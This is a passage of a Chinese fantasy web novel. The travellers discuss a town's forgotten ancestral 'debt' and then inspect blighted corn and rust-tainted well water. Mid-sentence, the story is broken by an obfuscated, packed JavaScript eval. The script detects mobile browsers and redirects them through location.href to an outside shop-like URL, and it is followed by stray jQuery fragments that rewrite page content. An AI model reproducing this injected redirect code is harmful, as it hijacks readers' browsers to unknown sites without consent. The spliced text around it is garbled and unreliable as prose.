“所以贝丝说的‘还几百年前的债’,是传下来的说法。”流栖灯把油灯往桌子里侧推了推,灯影在天花板上移了移。
“传了多少代之后,还记得‘债’这个字,但不记得债是什么了。”格蕾塔靠在床头,声音从暗处出来带着一种很淡的倦意,这说到了某个让她觉得熟悉的东西,“只知道祖上欠了什么东西,要还。怎么还,还多久,还给谁——全忘了。只剩下‘还债’两个字。”
房间里安静了。风从窗缝里挤进来,油灯的火苗晃了一下又稳住。楼下的灶房里传来一声很轻的木头收缩的声响,像老房子在夜里翻了个身。
“我在神殿的时候见过类似的事。”格蕾塔说。她很少主动提神殿。流栖灯把下巴搁在膝盖上,艾莉西亚的手指在书脊上停住不动了。
“南部神殿建在山上,山下面有几十个村子。其中有一个村子,每年秋天收割之后要把第一捧麦子倒进山脚下的一个石洞里。问为什么,说是祖上传下来的规矩,不倒麦子来年地里不长东西。再问石洞是什么,说不知道。再问不倒麦子是不是真的不长东西,说老一辈是这么讲的,没人敢试。”
“那个石洞是什么。”流栖灯问。
“神殿查过。石洞下面是古时留下的地脉节点,魔力浓度比周围高出一截。每年倒麦子,本质是把含魔力的作物还回地脉,维持节点稳定。但村子里的人不知道这些,只知道不倒麦子会遭灾。遭什么灾,谁会让她们遭灾,说不清。”格蕾塔把枕头竖起来垫在背后,坐直了一点,“说不清的事情传上几代就会变成规矩。规矩再传几代就会变成债。欠了谁的不重要,重要的是欠了,要还。”
流栖灯把脚从椅子上放下来踩在地上。“所以绿溪镇的人说‘还几百年前的债’,是因为她们模模糊糊记得祖上和封印有关,但不记得具体是什么了。现在封印松了,井水变了,庄稼枯了,孩子起疹子了——她们觉得这是债到期了,来收了。”
“差不多。”
“那她们打算怎么还。”
格蕾塔没有回答。油灯的火苗在玻璃罩里发出极细微的咝咝声,像什么东西被慢慢烧掉了。
“不知道。”她说,“也许连怎么还也忘了。”
流栖灯站起来在房间里走了两步。房间小,两步就到墙,她转身又走回来。“我不喜欢这个说法。”
“哪个部分。”
“‘还债’的部分。如果祖上参与了封印工程,那就谈不上欠债,那就只是做了该做的事。”她站住了,赤脚踩在木地板上,油灯光从侧面照着她的脸,“把一件事做完了,然后世世代代觉得自己欠了什么——这不对。”
没有人接话。窗外的风大了一阵,窗框震颤着发出细响。过了一会儿格蕾塔说:“你觉得不对,是因为你在你的世界长大。在那个世界,人做的事可以被记住是‘做的事’,而不是被变成‘欠的债’。”
流栖灯沉默了几息,然后坐回椅子里。“你这么说,好像我的世界很特别。”
“对你来说不特别。对我来说,很特别。”
油灯的火苗又晃了一下。艾莉西亚把法术书从膝盖上拿起来放在桌上。“明天我去测镇上的井水。北边三口,南边一口,加上贝丝后院的,五口井。对比水里的魔力浓度和空气里的浓度,可以推地脉污染的方向和深度。”
“需要多久。”玛丽玛丽问。
“如果海瑟——镇上那个法师——愿意帮忙,半天够。她在这里住了十年,应该对水井的原始水质有记录。有对比数据的话能算出污染速度。”艾莉西亚顿了顿,“如果她不愿意帮忙,时间翻倍。”
“她为什么不愿意帮忙。”
“贝丝说了,找她的人太多,她处理不了的事太多,脾气坏了。人脾气坏了的时候,会连能帮的事也不愿意帮。因为帮了这件,下一件帮不了,来的人会更失望。失望攒多了,不如一开始就不帮。”
“你见过这样的人。”玛丽玛丽说。
艾莉西亚没有否认,也没有承认。她把法术书拿起来抱回怀里。“明天见了就知道了。”
第二天早上贝丝在灶房里煎饼。麦面的,掺了一点羊油,煎出来边缘焦脆中间软。她把饼一张一张码在盘子里,头也不回地说:“老桑妮家我去说了,吃过早饭就过去。牧师姑娘——”她转向格蕾塔,“孩子今天早上又哭了一场,她奶奶急得在院子里转圈。”
格蕾塔把碗里兑了羊奶的热水分成两口喝完。“疹子有没有变化。”
“我没问。她家邻居过来借盐的时候说的。”
格蕾塔点头,拿了一张饼卷起来咬了一口。饼煎得脆,咬下去发出碎裂的声响。
艾莉西亚从楼上下来,法术书夹在腋下,布袋挂在肩上。她走到灶房门口站住。“镇上的法师住在哪里。”
“镇北,井旁边那条巷子走到底,门口有棵死了一半的槐树。”贝丝把锅里的饼翻了个面,“你找她?”
“找她借水井的水质记录。”
贝丝的手在锅铲上停了一下。“她有。十年前她刚来镇上时把每口井都测过一遍,记在一个本子上。我见过那个本子,皮面,角磨白了。”她把饼铲起来放进盘子里,“但去年有人去借那个本子想查一口老井的位置,她没借。”
“为什么。”
“说本子太旧了,一翻就碎。”贝丝把锅端下来,“本子是借口。她是舍不得把十年前的东西翻出来给人看。那时候镇子还好好的,井水是甜的。”
艾莉西亚听完,把布袋的带子往肩上提了提,推门出去了。门在身后关上,门框震下一小撮灰。
流栖灯从楼上跑下来,嘴里还嚼着饼。“她去哪儿?”
“找镇上的法师。”玛丽玛丽把最后一口饼吃完站起来,“格蕾塔去老桑妮家看孩子。我去镇上看一圈。你跟谁。”
流栖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537893|203862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灯把嘴里的饼咽下去。“跟格蕾塔。我想看看那个孩子。”
玛丽玛丽点头,从背包里拿出钱袋揣进外衣口袋,推门走进早上的镇子。
阳光照在绿溪镇主街上。昨天傍晚进镇时天色已暗,很多东西看不清楚。现在看清楚了——街两边铺子的门板有几家没有卸下来。门板上用炭笔写着字,有的写“往南去了”,有的写“投亲”,有的什么都没写只画了个箭头指向南边。有一家铺子的门板被人撬开过,撬痕是新的,木头茬子还白着,里面空了,只剩货架倒在墙边。
玛丽玛丽沿着主街往北走。街上的人比昨天傍晚多一点,大多是上了年纪的。年轻的面孔少,孩子的面孔更少。有个老人在自家门口坐着剥玉米,玉米粒从棒子上掰下来扔进腿边的竹筐里。玉米粒的颜色不对,看上去暗黄里透着灰白,像在土里埋过又挖出来的。玛丽玛丽在她面前停下来。
“这玉米是今年收的?”
老人抬起头。眼睛周围是细密的皱纹,被太阳晒了一辈子的脸上肤色深而干。“上个月收的。地里最后一批。”她把手里那根玉米棒子翻过来,玉米粒稀疏,一根棒子上只有一半结了粒,剩下的地方是瘪的。“往年这根棒子能结到尖上。今年只结了一半。结出来的也不饱。”
“我能看看吗。”
老人把玉米棒子递给她。玛丽玛丽接过来,玉米粒的手感不对——比正常玉米粒轻,指甲掐一下,掐不进,表皮发硬,里面的粉质干缩了。她把玉米粒掰下一颗捏碎,碎末的颜色从里到外都是那种不正常的灰黄。
“磨成面还能吃吗。”
“能吃。就是没味道。做出来的饼嚼着像嚼锯末。”老人把竹筐里的玉米粒拢了拢,“我种了四十年地。头一回种出这种东西。”
玛丽玛丽把玉米棒子还给她。“您还种吗。”
老人把棒子上剩下的玉米粒掰进筐里,手指用力时骨节发白。“种。不种吃什么呢。明年要是还这样——”她把空了的玉米芯扔进脚边的另一个筐里,拍了拍手上的碎屑,“明年再说吧。”
玛丽玛丽站起来继续往北走。走出一段回头看了一眼,老人还在剥玉米,手指掰下玉米粒的动作不快,但一直在动,一下一下。
镇北的井在一条巷子里。巷口堆着几块条石,石头缝里长出枯黄的草。井台是石板砌的,石板上刻着字,被鞋底磨了几代人,笔画浅了但还能认——是建井的年月和捐井人的名字。井口盖着木盖,压了一块石头。木盖边缘有缝隙,凑近了能闻到一股淡淡的铁锈气。
玛丽玛丽搬开石头掀开木盖。井水在深处,暗沉沉的,看不到底。她从井台边找到一只拴着绳子的木桶,放下去打上来半桶水。水在桶里晃荡,颜色并不清的,透着极淡的黄褐,像泡过铁的茶水。她用手沾了一点放在鼻子前——铁锈味,底下压着一种说不出来的甜腥气,腐烂的甜?不,是金属的甜,像舔铜钱的滋味。